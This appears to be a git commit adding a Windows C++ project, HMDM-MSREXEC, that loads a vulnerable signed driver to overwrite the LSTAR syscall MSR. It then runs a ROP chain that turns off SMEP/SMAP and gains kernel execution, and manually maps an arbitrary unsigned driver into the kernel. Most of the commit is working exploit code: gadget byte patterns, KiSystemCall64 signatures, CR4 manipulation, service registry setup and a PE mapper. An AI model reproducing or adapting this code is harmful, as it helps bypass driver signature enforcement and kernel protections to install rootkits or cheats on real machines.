init commit

merge-requests/1/head
_xeroxz 3 years ago
parent 51bcf0a4d5
commit c96f730fc2

@ -0,0 +1,111 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{ce2c9cf7-f412-475e-bbfb-0a00121264cc}</ProjectGuid>
<RootNamespace>physmememsrexec</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
<ProjectName>HMDM-MSREXEC</ProjectName>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpp17</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpp17</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="main.cpp" />
<ClCompile Include="hmdm_ctx.cpp" />
<ClCompile Include="msrexec.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="ia32.hpp" />
<ClInclude Include="loadup.hpp" />
<ClInclude Include="hmdm_ctx.h" />
<ClInclude Include="msrexec.hpp" />
<ClInclude Include="raw_driver.hpp" />
<ClInclude Include="syscall_handler.h" />
<ClInclude Include="utils.hpp" />
<ClInclude Include="vdm.hpp" />
</ItemGroup>
<ItemGroup>
<MASM Include="syscall_handler.asm">
<FileType>Document</FileType>
</MASM>
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="icon.rc" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>

@ -0,0 +1,60 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="main.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="msrexec.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="hmdm_ctx.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="ia32.hpp">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="loadup.hpp">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="msrexec.hpp">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="raw_driver.hpp">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="syscall_handler.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="utils.hpp">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="vdm.hpp">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="hmdm_ctx.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="icon.rc">
<Filter>Header Files</Filter>
</ResourceCompile>
</ItemGroup>
<ItemGroup>
<MASM Include="syscall_handler.asm">
<Filter>Source Files</Filter>
</MASM>
</ItemGroup>
</Project>

@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>

@ -0,0 +1,193 @@
#include "hmdm_ctx.h"
namespace drv
{
hmdm_ctx::hmdm_ctx(const mapper_routines_t& routines)
:
kalloc(std::get<0>(routines)),
kmemcpy(std::get<1>(routines))
{}
auto hmdm_ctx::map_module(drv_buffer_t& drv_buffer, bool zero_headers)->std::pair<image_base_t, image_entry_t>
{
if (drv_buffer.empty())
return { {}, {} };
const auto dos_header =
reinterpret_cast<PIMAGE_DOS_HEADER>(drv_buffer.data());
const auto nt_header =
reinterpret_cast<PIMAGE_NT_HEADERS>(
drv_buffer.data() + dos_header->e_lfanew);
const auto section_header =
reinterpret_cast<IMAGE_SECTION_HEADER*>(
reinterpret_cast<std::uintptr_t>(&nt_header->OptionalHeader) +
nt_header->FileHeader.SizeOfOptionalHeader);
drv_buffer_t image_mapped;
image_mapped.resize(nt_header->OptionalHeader.SizeOfImage);
std::copy_n(drv_buffer.begin(), nt_header->OptionalHeader.SizeOfHeaders, image_mapped.begin());
for (auto idx = 0u; idx < nt_header->FileHeader.NumberOfSections; ++idx)
{
const auto& section = section_header[idx];
const auto target =
reinterpret_cast<std::uintptr_t>(
image_mapped.data() + section.VirtualAddress);
const auto source =
reinterpret_cast<std::uintptr_t>(
dos_header + section.PointerToRawData);
std::copy_n(drv_buffer.begin() + section.PointerToRawData,
section.SizeOfRawData, image_mapped.begin() + section.VirtualAddress);
}
const auto alloc_base =
reinterpret_cast<std::uint8_t*>(
kalloc(nt_header->OptionalHeader.SizeOfImage));
DBG_PRINT("> alloc base -> 0x%p\n", alloc_base);
if (!alloc_base)
return { {}, {} };
resolve_imports(image_mapped);
fix_relocs(image_mapped);
if (zero_headers)
{
const auto module_base =
nt_header->OptionalHeader.SizeOfHeaders + image_mapped.data();
const auto module_size =
nt_header->OptionalHeader.SizeOfImage -
nt_header->OptionalHeader.SizeOfHeaders;
kmemcpy(alloc_base + nt_header->OptionalHeader.SizeOfHeaders, module_base, module_size);
}
else
{
const auto module_size =
nt_header->OptionalHeader.SizeOfImage;
kmemcpy(alloc_base, image_mapped.data(), module_size);
}
return
{
reinterpret_cast<std::uintptr_t>(alloc_base),
reinterpret_cast<std::uintptr_t>(alloc_base +
nt_header->OptionalHeader.AddressOfEntryPoint)
};
}
auto hmdm_ctx::fix_relocs(drv_buffer_t& drv_buffer) const -> void
{
const auto dos_header =
reinterpret_cast<PIMAGE_DOS_HEADER>(drv_buffer.data());
const auto nt_header =
reinterpret_cast<PIMAGE_NT_HEADERS>(
drv_buffer.data() + dos_header->e_lfanew);
const auto base_reloc_dir =
reinterpret_cast<PIMAGE_DATA_DIRECTORY>(
&nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]);
if (base_reloc_dir->VirtualAddress)
{
auto reloc =
reinterpret_cast<PIMAGE_BASE_RELOCATION>(
drv_buffer.data() + base_reloc_dir->VirtualAddress);
for (auto current_size = 0u; current_size < base_reloc_dir->Size;)
{
const auto reloc_count =
(reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(std::uint16_t);
auto reloc_data = reinterpret_cast<std::uint16_t*>(
reinterpret_cast<std::uintptr_t>(reloc) + sizeof(IMAGE_BASE_RELOCATION));
const auto reloc_base =
drv_buffer.data() + reloc->VirtualAddress;
for (auto idx = 0u; idx < reloc_count; ++idx, ++reloc_data)
{
const auto data = *reloc_data;
const auto type = data >> 12;
const auto offset = data & 0xFFF;
switch (type)
{
case IMAGE_REL_BASED_ABSOLUTE:
break;
case IMAGE_REL_BASED_DIR64:
{
const auto rva = reinterpret_cast<std::uintptr_t*>(reloc_base + offset);
*rva = reinterpret_cast<std::uintptr_t>(
drv_buffer.data() + (*rva - nt_header->OptionalHeader.ImageBase));
break;
}
default:
return;
}
}
current_size += reloc->SizeOfBlock;
reloc = reinterpret_cast<PIMAGE_BASE_RELOCATION>(reloc_data);
}
}
}
auto hmdm_ctx::resolve_imports(drv_buffer_t& drv_buffer) const -> void
{
ULONG size;
auto import_descriptors = static_cast<PIMAGE_IMPORT_DESCRIPTOR>(
::ImageDirectoryEntryToData(drv_buffer.data(),
TRUE, IMAGE_DIRECTORY_ENTRY_IMPORT, &size));
if (!import_descriptors)
return;
for (; import_descriptors->Name; import_descriptors++)
{
IMAGE_THUNK_DATA* image_thunk_data;
const auto module_name =
reinterpret_cast<const char*>(
drv_buffer.data() + import_descriptors->Name);
if (import_descriptors->OriginalFirstThunk)
image_thunk_data =
reinterpret_cast<PIMAGE_THUNK_DATA>(
drv_buffer.data() + import_descriptors->OriginalFirstThunk);
else
image_thunk_data =
reinterpret_cast<PIMAGE_THUNK_DATA>(
drv_buffer.data() + import_descriptors->FirstThunk);
auto image_func_data =
reinterpret_cast<PIMAGE_THUNK_DATA>(
drv_buffer.data() + import_descriptors->FirstThunk);
for (; image_thunk_data->u1.AddressOfData; image_thunk_data++, image_func_data++)
{
const auto image_import_by_name =
reinterpret_cast<PIMAGE_IMPORT_BY_NAME>(
drv_buffer.data() + (*(DWORD*)image_thunk_data));
const auto name_of_import =
static_cast<char*>(image_import_by_name->Name);
image_func_data->u1.Function =
utils::kmodule::get_export(
module_name, name_of_import);
DBG_PRINT("> resolved import... %s!%s -> 0x%p\n",
module_name, name_of_import, image_func_data->u1.Function);
}
}
}
}

@ -0,0 +1,30 @@
#pragma once
#include "utils.hpp"
#include <type_traits>
#include <dbghelp.h>
#pragma comment(lib, "Dbghelp.lib")
namespace drv
{
using kalloc_t = std::function<decltype(malloc)>;
using kmemcpy_t = std::function<decltype(memcpy)>;
using kmemset_t = std::function<decltype(memset)>;
using image_base_t = std::uintptr_t;
using image_entry_t = std::uintptr_t;
using mapper_routines_t = std::pair<kalloc_t, kmemcpy_t>;
using drv_buffer_t = std::vector<std::uint8_t>;
class hmdm_ctx
{
public:
explicit hmdm_ctx(const mapper_routines_t& routines);
auto map_module(drv_buffer_t& drv_buffer, bool zero_headers = true)->std::pair<image_base_t, image_entry_t>;
const kalloc_t kalloc;
const kmemcpy_t kmemcpy;
private:
auto resolve_imports(drv_buffer_t& drv_buffer) const -> void;
auto fix_relocs(drv_buffer_t& drv_buffer) const -> void;
};
}

File diff suppressed because it is too large Load Diff

Binary file not shown.

After

Width:  |  Height:  |  Size: 179 KiB

@ -0,0 +1,3 @@
// Icon Resource Definition
#define MAIN_ICON 102
MAIN_ICON ICON "icon.ico"

@ -0,0 +1,263 @@
/*
MIT License
Copyright (c) 2020 xerox
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
#pragma once
#include <Windows.h>
#include <Winternl.h>
#include <string>
#include <fstream>
#include <filesystem>
#include <ntstatus.h>
#include <time.h>
#pragma comment(lib, "ntdll.lib")
extern "C" NTSTATUS NtLoadDriver(PUNICODE_STRING);
extern "C" NTSTATUS NtUnloadDriver(PUNICODE_STRING);
namespace driver
{
namespace util
{
inline auto delete_service_entry(const std::string& service_name) -> bool
{
HKEY reg_handle;
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
auto result = RegOpenKeyA(
HKEY_LOCAL_MACHINE,
reg_key.c_str(),
&reg_handle
);
return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) &&
ERROR_SUCCESS == RegCloseKey(reg_handle);;
}
inline auto create_service_entry(const std::string& drv_path, const std::string& service_name) -> bool
{
HKEY reg_handle;
std::string reg_key("System\\CurrentControlSet\\Services\\");
reg_key += service_name;
auto result = RegCreateKeyA(
HKEY_LOCAL_MACHINE,
reg_key.c_str(),
&reg_handle
);
if (result != ERROR_SUCCESS)
return false;
std::uint8_t type_value = 1;
result = RegSetValueExA(
reg_handle,
"Type",
NULL,
REG_DWORD,
&type_value,
4u
);
if (result != ERROR_SUCCESS)
return false;
std::uint8_t error_control_value = 3;
result = RegSetValueExA(
reg_handle,
"ErrorControl",
NULL,
REG_DWORD,
&error_control_value,
4u
);
if (result != ERROR_SUCCESS)
return false;
std::uint8_t start_value = 3;
result = RegSetValueExA(
reg_handle,
"Start",
NULL,
REG_DWORD,
&start_value,
4u
);
if (result != ERROR_SUCCESS)
return false;
result = RegSetValueExA(
reg_handle,
"ImagePath",
NULL,
REG_SZ,
(std::uint8_t*)drv_path.c_str(),
drv_path.size()
);
if (result != ERROR_SUCCESS)
return false;
return ERROR_SUCCESS == RegCloseKey(reg_handle);
}
inline auto enable_privilege(const std::wstring& privilege_name) -> bool
{
HANDLE token_handle = nullptr;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle))
return false;
LUID luid{};
if (!LookupPrivilegeValueW(nullptr, privilege_name.data(), &luid))
return false;
TOKEN_PRIVILEGES token_state{};
token_state.PrivilegeCount = 1;
token_state.Privileges[0].Luid = luid;
token_state.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(token_handle, FALSE, &token_state, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr))
return false;
CloseHandle(token_handle);
return true;
}
inline auto get_service_image_path(const std::string& service_name) -> std::string
{
HKEY reg_handle;
DWORD bytes_read;
char image_path[0xFF];
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
auto result = RegOpenKeyA(
HKEY_LOCAL_MACHINE,
reg_key.c_str(),
&reg_handle
);
result = RegGetValueA(
reg_handle,
service_name.c_str(),
"ImagePath",
REG_SZ,
NULL,
image_path,
&bytes_read
);
RegCloseKey(reg_handle);
return std::string(image_path);
}
}
inline auto load(const std::string& drv_path, const std::string& service_name) -> NTSTATUS
{
if (!util::enable_privilege(L"SeLoadDriverPrivilege"))
return false;
if (!util::create_service_entry("\\??\\" +
std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name))
return false;
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
reg_path += service_name;
ANSI_STRING driver_rep_path_cstr;
UNICODE_STRING driver_reg_path_unicode;
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
return NtLoadDriver(&driver_reg_path_unicode);
}
inline auto load(const std::vector<std::uint8_t>& drv_buffer) -> std::pair<NTSTATUS, std::string>
{
static const auto random_file_name = [](std::size_t length) -> std::string
{
std::srand(std::time(0));
static const auto randchar = []() -> char
{
const char charset[] =
"0123456789"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz";
const std::size_t max_index = (sizeof(charset) - 1);
return charset[rand() % max_index];
};
std::string str(length, 0);
std::generate_n(str.begin(), length, randchar);
return str;
};
const auto service_name = random_file_name(16);
const auto file_path = std::filesystem::temp_directory_path().string() + service_name;
std::ofstream output_file(file_path.c_str(), std::ios::binary);
output_file.write((char*)drv_buffer.data(), drv_buffer.size());
output_file.close();
return { load(file_path, service_name), service_name };
}
inline auto load(const std::uint8_t* buffer, const std::size_t size) -> std::pair<NTSTATUS, std::string>
{
std::vector<std::uint8_t> image(buffer, buffer + size);
return load(image);
}
inline auto unload(const std::string& service_name) -> NTSTATUS
{
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
reg_path += service_name;
ANSI_STRING driver_rep_path_cstr;
UNICODE_STRING driver_reg_path_unicode;
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
RtlAnsiStringToUnicodeString(
&driver_reg_path_unicode, &driver_rep_path_cstr, true);
const bool unload_result =
NtUnloadDriver(&driver_reg_path_unicode);
util::delete_service_entry(service_name);
// sometimes you cannot delete the driver off disk because there are still handles open
// to the driver, this means the driver is still loaded into the kernel...
try
{
std::filesystem::remove(
std::filesystem::temp_directory_path()
.string() + service_name);
}
catch (std::exception& e)
{
return STATUS_ABANDONED;
}
return unload_result;
}
}

@ -0,0 +1,89 @@
#include "hmdm_ctx.h"
#include "msrexec.hpp"
#include "vdm.hpp"
int __cdecl main(int argc, char** argv)
{
if (argc < 2)
{
std::printf("> please provide a path to a driver...\n");
return -1;
}
const auto [drv_handle, drv_key, drv_status] = vdm::load_drv();
if (drv_status != STATUS_SUCCESS || drv_handle == INVALID_HANDLE_VALUE)
{
std::printf("> failed to load driver... reason -> 0x%x\n", drv_status);
return -1;
}
writemsr_t _write_msr =
[&](std::uint32_t key, std::uint64_t value) -> bool
{
return vdm::writemsr(key, value);
};
vdm::msrexec_ctx msrexec(_write_msr);
drv::kalloc_t _kalloc = [&](std::size_t size) -> void*
{
void* alloc_base;
msrexec.exec([&](void* krnl_base, get_system_routine_t get_kroutine) -> void
{
using ex_alloc_pool_t =
void* (*)(std::uint32_t, std::size_t);
const auto ex_alloc_pool =
reinterpret_cast<ex_alloc_pool_t>(
get_kroutine(krnl_base, "ExAllocatePool"));
alloc_base = ex_alloc_pool(NULL, size);
});
return alloc_base;
};
drv::kmemcpy_t _kmemcpy =
[&](void* dest, const void* src, std::size_t size) -> void*
{
void* result = nullptr;
msrexec.exec([&](void* krnl_base, get_system_routine_t get_kroutine) -> void
{
const auto kmemcpy =
reinterpret_cast<decltype(&memcpy)>(
get_kroutine(krnl_base, "memcpy"));
result = kmemcpy(dest, src, size);
});
return result;
};
drv::drv_buffer_t drv_buffer;
utils::open_binary_file(argv[1], drv_buffer);
drv::hmdm_ctx drv_mapper({ _kalloc, _kmemcpy });
const auto [drv_base, drv_entry] = drv_mapper.map_module(drv_buffer);
std::printf("> driver base -> 0x%p, driver entry -> 0x%p\n", drv_base, drv_entry);
if (!drv_base || !drv_entry)
{
std::printf("> failed to map driver...\n");
return -1;
}
// call driver entry... its up to you to do this using whatever method...
// with VDM you can syscall into it... with msrexec you will use msrexec::exec...
NTSTATUS result;
msrexec.exec([&result, drv_entry = drv_entry, drv_base = drv_base]
(void* krnl_base, get_system_routine_t get_kroutine) -> void
{
using drv_entry_t = NTSTATUS(*)(std::uintptr_t);
result = reinterpret_cast<drv_entry_t>(drv_entry)(drv_base);
});
std::printf("> drv entry result -> 0x%x\n", result);
const auto unload_status = vdm::unload_drv(drv_handle, drv_key);
if (unload_status != STATUS_SUCCESS)
{
std::printf("> failed to unload driver... reason -> 0x%x\n", unload_status);
return -1;
}
}

@ -0,0 +1,208 @@
#include "msrexec.hpp"
void msrexec_handler(callback_t* callback)
{
// restore LSTAR....
__writemsr(IA32_LSTAR_MSR, m_system_call);
// call usermode code...
(*callback)(ntoskrnl_base, get_system_routine);
}
namespace vdm
{
msrexec_ctx::msrexec_ctx(writemsr_t wrmsr)
: wrmsr(wrmsr)
{
if (!m_mov_cr4_gadget || !m_sysret_gadget || !m_pop_rcx_gadget)
if (!find_gadgets())
DBG_PRINT("> failed to find gadgets...\n");
if (!m_kpcr_rsp_offset || !m_kpcr_krsp_offset || !m_system_call)
if (!find_globals())
DBG_PRINT("> failed to find globals...\n");
cpuid_eax_01 cpuid_info;
__cpuid((int*)&cpuid_info, 1);
cpuid_eax_07 cpuid_features;
__cpuid((int*)&cpuid_features, 7);
cr4 cr4_value{};
cr4_value.debugging_extensions = true;
cr4_value.page_size_extensions = true;
cr4_value.machine_check_enable = true;
cr4_value.physical_address_extension =
cpuid_info.cpuid_feature_information_edx.physical_address_extension;
cr4_value.os_fxsave_fxrstor_support =
cpuid_info.cpuid_feature_information_edx.fxsave_fxrstor_instructions;
cr4_value.os_xmm_exception_support = true;
cr4_value.fsgsbase_enable =
IsProcessorFeaturePresent(PF_RDWRFSGSBASE_AVAILABLE);
cr4_value.os_xsave =
IsProcessorFeaturePresent(PF_XSAVE_ENABLED);
cr4_value.pcid_enable =
cpuid_info.cpuid_feature_information_ecx
.process_context_identifiers;
m_smep_off.flags = cr4_value.flags;
m_smep_off.smep_enable = false;
m_smep_off.smap_enable = false; // newer cpus have this on...
// WARNING: some virtual machines dont have SMEP...
// my VMWare VM doesnt... nor does my Virtual Box VM...
m_smep_on.flags = cr4_value.flags;
m_smep_on.smep_enable = cpuid_features.ebx.smep;
m_smep_on.smap_enable = cpuid_features.ebx.smap;
ntoskrnl_base =
reinterpret_cast<void*>(
utils::kmodule::get_base("ntoskrnl.exe"));
get_system_routine =
reinterpret_cast<get_system_routine_t>(
utils::kmodule::get_export(
"ntoskrnl.exe", "RtlFindExportedRoutineByName"));
DBG_PRINT("> m_pop_rcx_gadget -> 0x%p\n", m_pop_rcx_gadget);
DBG_PRINT("> m_mov_cr4_gadget -> 0x%p\n", m_mov_cr4_gadget);
DBG_PRINT("> m_sysret_gadget -> 0x%p\n", m_sysret_gadget);
DBG_PRINT("> m_kpcr_rsp_offset -> 0x%x\n", m_kpcr_rsp_offset);
DBG_PRINT("> m_kpcr_krsp_offset -> 0x%x\n", m_kpcr_krsp_offset);
DBG_PRINT("> m_system_call -> 0x%p\n", m_system_call);
DBG_PRINT("> m_smep_off -> 0x%p\n", m_smep_off.flags);
DBG_PRINT("> m_smep_on -> 0x%p\n", m_smep_on.flags);
DBG_PRINT("> check to make sure none of these^ are zero before pressing enter...\n");
std::getchar();
}
auto msrexec_ctx::find_gadgets() -> bool
{
m_mov_cr4_gadget =
utils::rop::find_kgadget(
MOV_CR4_GADGET, "xxxx");
if (!m_mov_cr4_gadget)
return {};
m_sysret_gadget =
utils::rop::find_kgadget(
SYSRET_GADGET, "xxx");
if (!m_sysret_gadget)
return {};
m_pop_rcx_gadget =
utils::rop::find_kgadget(
POP_RCX_GADGET, "xx");
if (!m_pop_rcx_gadget)
return {};
return true;
}
auto msrexec_ctx::find_globals() -> bool
{
const auto [section_data, section_rva] =
utils::pe::get_section(
reinterpret_cast<std::uintptr_t>(
LoadLibraryA("ntoskrnl.exe")), ".text");
const auto ki_system_call =
utils::scan(reinterpret_cast<std::uintptr_t>(
section_data.data()), section_data.size(),
KI_SYSCALL_SIG, KI_SYSCALL_MASK);
if (!ki_system_call)
return {};
m_system_call = (ki_system_call -
reinterpret_cast<std::uintptr_t>(
section_data.data())) + section_rva +
utils::kmodule::get_base("ntoskrnl.exe");
/*
.text:0000000140406CC0 KiSystemCall64
.text:0000000140406CC0 0F 01 F8 swapgs
.text:0000000140406CC3 65 48 89 24 25 10 00 00 00 mov gs:10h, rsp <====== + 8 bytes for gs offset...
.text:0000000140406CCC 65 48 8B 24 25 A8 01 00 00 mov rsp, gs:1A8h <======= + 17 bytes for gs offset...
*/
m_kpcr_rsp_offset = *reinterpret_cast<std::uint32_t*>(ki_system_call + 8);
m_kpcr_krsp_offset = *reinterpret_cast<std::uint32_t*>(ki_system_call + 17);
// handle KVA shadowing... if KVA shadowing is
// enabled LSTAR will point at KiSystemCall64Shadow...
SYSTEM_KERNEL_VA_SHADOW_INFORMATION kva_info = { 0 };
// if SystemKernelVaShadowInformation is not a valid class just
// return true and assume LSTAR points to KiSystemCall64...
if (NT_SUCCESS(NtQuerySystemInformation(SystemKernelVaShadowInformation, &kva_info, sizeof(kva_info), nullptr)))
{
if (kva_info.KvaShadowFlags.KvaShadowEnabled)
{
const auto [section_data, section_rva] =
utils::pe::get_section(
reinterpret_cast<std::uintptr_t>(
LoadLibraryA("ntoskrnl.exe")), "KVASCODE");
// no KVASCODE section so there is no way for LSTAR to be KiSystemCall64Shadow...
if (!section_rva || section_data.empty())
return true;
const auto ki_system_shadow_call =
utils::scan(reinterpret_cast<std::uintptr_t>(
section_data.data()), section_data.size(),
KI_SYSCALL_SHADOW_SIG, KI_SYSCALL_SHADOW_MASK);
// already set m_syscall_call so we just return true...
if (!ki_system_shadow_call)
return true;
// else we update m_system_call with KiSystemCall64Shadow...
m_system_call = (ki_system_shadow_call -
reinterpret_cast<std::uintptr_t>(
section_data.data())) + section_rva +
utils::kmodule::get_base("ntoskrnl.exe");
}
}
return true;
}
void msrexec_ctx::exec(callback_t kernel_callback)
{
const thread_info_t thread_info =
{
GetPriorityClass(GetCurrentProcess()),
GetThreadPriority(GetCurrentThread())
};
SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
// set LSTAR to first rop gadget... race begins here...
if (!wrmsr(IA32_LSTAR_MSR, m_pop_rcx_gadget))
DBG_PRINT("> failed to set LSTAR...\n");
else
// go go gadget kernel execution...
syscall_wrapper(&kernel_callback);
SetPriorityClass(GetCurrentProcess(), thread_info.first);
SetThreadPriority(GetCurrentThread(), thread_info.second);
}
void msrexec_ctx::set_wrmsr(writemsr_t wrmsr)
{ this->wrmsr = wrmsr; }
auto msrexec_ctx::get_wrmsr() -> writemsr_t const
{ return this->wrmsr; }
}

@ -0,0 +1,43 @@
#pragma once
#include "utils.hpp"
#include "syscall_handler.h"
#include <intrin.h>
#define IA32_LSTAR_MSR 0xC0000082
#define MOV_CR4_GADGET "\x0F\x22\xE1\xC3"
#define POP_RCX_GADGET "\x59\xc3"
#define SYSRET_GADGET "\x48\x0F\x07"
// not sure how far back this signature goes... works on 1507 though....
#define KI_SYSCALL_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x6A\x2B\x65\xFF\x34\x25\x00\x00\x00\x00\x41\x53\x6A\x00\x51\x49\x8B\xCA"
#define KI_SYSCALL_MASK "xxxxxxxx????xxxxx????xxxxxx????xxx?xxxx"
static_assert(sizeof KI_SYSCALL_SIG == sizeof KI_SYSCALL_MASK, "signature/mask invalid size...");
#define KI_SYSCALL_SHADOW_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x65\x0F\xBA\x24\x25\x00\x00\x00\x00\x00\x72\x03\x0F\x22\xDC"
#define KI_SYSCALL_SHADOW_MASK "xxxxxxxx????xxxxx????xxxxx?????xxxxx"
